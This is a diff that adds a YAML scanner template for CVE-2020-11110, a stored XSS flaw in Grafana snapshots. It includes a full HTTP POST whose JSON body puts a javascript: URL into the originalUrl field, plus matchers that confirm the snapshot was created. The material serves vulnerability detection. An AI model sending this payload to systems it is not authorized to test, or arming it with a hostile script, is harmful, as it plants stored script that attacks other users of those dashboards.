Added CVE-2020-11110

cves/2020/CVE-2020-11110.yaml

@@ -0,0 +1,48 @@
+id: CVE-2020-11110
+
+info:
+  author: emadshanab
+  severity: medium
+  name: Grafana Unauthenticated Stored XSS
+  description: Grafana through 6.7.1 allows stored XSS due to insufficient input protection in the originalUrl field, which allows an attacker to inject JavaScript code that will be executed after clicking on Open Original Dashboard after visiting the snapshot.
+  tags: cve,cve2020,xss,grafana
+  reference: |
+    - https://ctf-writeup.revers3c.com/challenges/web/CVE-2020-11110/index.html
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-11110
+requests:
+  - raw:
+      - |
+        POST /api/snapshots HTTP/1.1
+        Host: {{Hostname}}
+        Accept: application/json, text/plain, */*
+        Accept-Language: en-US,en;q=0.5
+        Referer: {{BaseURL}}
+        content-type: application/json
+        Connection: close
+
+        {"dashboard":{"annotations":{"list":[{"name":"Annotations & Alerts","enable":true,"iconColor":"rgba(0, 211, 255, 1)","type":"dashboard","builtIn":1,"hide":true}]},"editable":true,"gnetId":null,"graphTooltip":0,"id":null,"links":[],"panels":[],"schemaVersion":18,"snapshot":{"originalUrl":"javascript:alert('Revers3c')","timestamp":"2020-03-30T01:24:44.529Z"},"style":"dark","tags":[],"templating":{"list":[]},"time":{"from":null,"to":"2020-03-30T01:24:53.549Z","raw":{"from":"6h","to":"now"}},"timepicker":{"refresh_intervals":["5s","10s","30s","1m","5m","15m","30m","1h","2h","1d"],"time_options":["5m","15m","1h","6h","12h","24h","2d","7d","30d"]},"timezone":"","title":"Dashboard","uid":null,"version":0},"name":"Dashboard","expires":0}
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        part: header
+        words:
+          - application/json
+
+      - type: word
+        part: body
+        words:
+          - '"deleteKey":'
+          - '"deleteUrl":'
+        condition: and
+
+    extractors:
+      - type: regex
+        part: body
+        group: 1
+        regex:
+          - '"url":"([a-z:/0-9A-Z]+)"'